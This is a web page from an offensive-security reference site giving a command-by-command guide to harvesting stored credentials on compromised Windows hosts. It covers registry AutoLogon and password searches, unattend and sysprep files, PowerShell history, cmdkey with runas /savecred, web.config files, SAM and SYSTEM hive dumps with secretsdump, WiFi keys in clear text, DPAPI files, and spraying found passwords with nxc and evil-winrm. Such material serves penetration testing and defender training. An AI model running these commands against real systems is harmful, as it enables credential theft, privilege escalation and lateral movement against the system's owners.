# Windows Credential Hunting for Privilege Escalation

> Techniques for locating stored credentials in Windows registries, files, memory, and configs to escalate privileges on compromised systems.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/windows-credential-hunting
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-04-24

Credentials left on Windows systems are one of the most reliable escalation paths. Common locations where passwords appear:

- Registry keys (AutoLogon, PuTTY sessions)
- Unattend.xml and Sysprep installation files
- PowerShell command history
- IIS and web application config files
- Windows Credential Manager (cmdkey)

Find one credential and test it against everything: password reuse is extremely common.

## Prerequisites Check

```bash
whoami /all
net user %USERNAME%
```

Note your current privileges and group memberships before hunting: some credential stores require elevated access.

## Registry: AutoLogon and Stored Passwords

Windows AutoLogon credentials are stored in plaintext in the registry:

```bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
```

Broad registry password search:

```bash
reg query HKLM /f password /t REG_SZ /s 2>nul
reg query HKCU /f password /t REG_SZ /s 2>nul
reg query HKLM /f passwd /t REG_SZ /s 2>nul
reg query HKCU /f passwd /t REG_SZ /s 2>nul
```

PuTTY stored sessions often contain credentials:

```bash
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
```

## Unattend.xml and Sysprep Files

Windows deployment files frequently contain base64-encoded or plaintext administrator passwords:

```bash
type C:\Windows\Panther\unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul
type C:\Windows\system32\sysprep.inf 2>nul
type C:\Windows\system32\sysprep\Panther\unattend.xml 2>nul
```

Look for `<Password>` tags. The value inside `<Value>` may be base64-encoded. Decode it:

```powershell
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("BASE64VALUE"))
```

## PowerShell History

PowerShell saves command history per user. Credentials typed on the command line appear here:

```bash
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

```powershell
Get-Content (Get-PSReadLineOption).HistorySavePath
```

Check all users if you have access:

```bash
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
```

## cmdkey: Stored Windows Credentials

`cmdkey` stores credentials for network resources and remote desktop sessions:

```bash
cmdkey /list
```

If stored credentials exist for a target, use `runas` to execute commands as that user without knowing the password:

```bash
runas /savecred /user:DOMAIN\Administrator "cmd.exe /c whoami > C:\Windows\Temp\whoami.txt"
```

See [https://hackindex.io/platforms/windows/privilege-escalation/runas-stored-credentials](https://hackindex.io/platforms/windows/privilege-escalation/runas-stored-credentials) for the full exploitation workflow.

## IIS and Web Application Configs

Web server configuration files frequently contain database passwords:

```bash
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul

# Search for connection strings and passwords
findstr /si "password" C:\inetpub\*.config 2>nul
findstr /si "connectionString" C:\inetpub\*.config 2>nul
```

## Application Config Files

```bash
# Common credential-containing files
dir /s /b C:\*.config 2>nul | findstr /v "\.log"
dir /s /b C:\*.ini 2>nul
dir /s /b C:\*.txt 2>nul | findstr /i "password\|credential\|secret"

# Search file contents
findstr /si "password" C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini 2>nul
findstr /si "password" C:\*.xml C:\*.ini C:\*.txt 2>nul
```

## SAM and SYSTEM: Local Password Hashes

If you have admin privileges, dump local account hashes:

```bash
# Copy SAM and SYSTEM (Volume Shadow Copy method)
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM

# Transfer to attack box and extract hashes
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
```

For the full hash dumping and cracking workflow see [https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks](https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks).

## WiFi Passwords

Stored WiFi profiles often contain plaintext PSK passwords:

```bash
netsh wlan show profiles
netsh wlan show profile name="PROFILENAME" key=clear
```

The `Key Content` field is the plaintext WiFi password. Administrators frequently reuse WiFi passwords for local accounts.

## DPAPI Credential Files

Windows DPAPI protects stored browser passwords, RDP credentials, and application secrets. If you have access to a user's profile:

```bash
# List DPAPI credential files
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\ 2>nul
dir /s /b C:\Users\*\AppData\Local\Microsoft\Credentials\ 2>nul
```

For DPAPI decryption see [https://hackindex.io/platforms/windows/privilege-escalation/dpapi-credential-decryption](https://hackindex.io/platforms/windows/privilege-escalation/dpapi-credential-decryption).

## Automated Search

winPEAS covers most of these automatically:

```bash
.\winpeas.exe windowscreds
.\winpeas.exe filesinfo
```

PowerUp also checks AutoLogon and common credential locations:

```powershell
Get-RegistryAutoLogon
Get-CachedGPPPassword
```

## Password Reuse Testing

Once you find any credential, test it everywhere:

```bash
# Test against local accounts via runas
runas /user:Administrator cmd.exe

# Test against remote services from attack box
nxc smb $TARGET_IP -u Administrator -p "FOUNDPASSWORD"
nxc winrm $TARGET_IP -u Administrator -p "FOUNDPASSWORD"
evil-winrm -i $TARGET_IP -u Administrator -p "FOUNDPASSWORD"
```

## References

- [winPEAS](https://github.com/carlospolop/PEASS-ng) - Automated credential discovery across registry, files, and Windows credential stores.
- [cmdkey](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey) - Documentation Stored credential management and runas integration.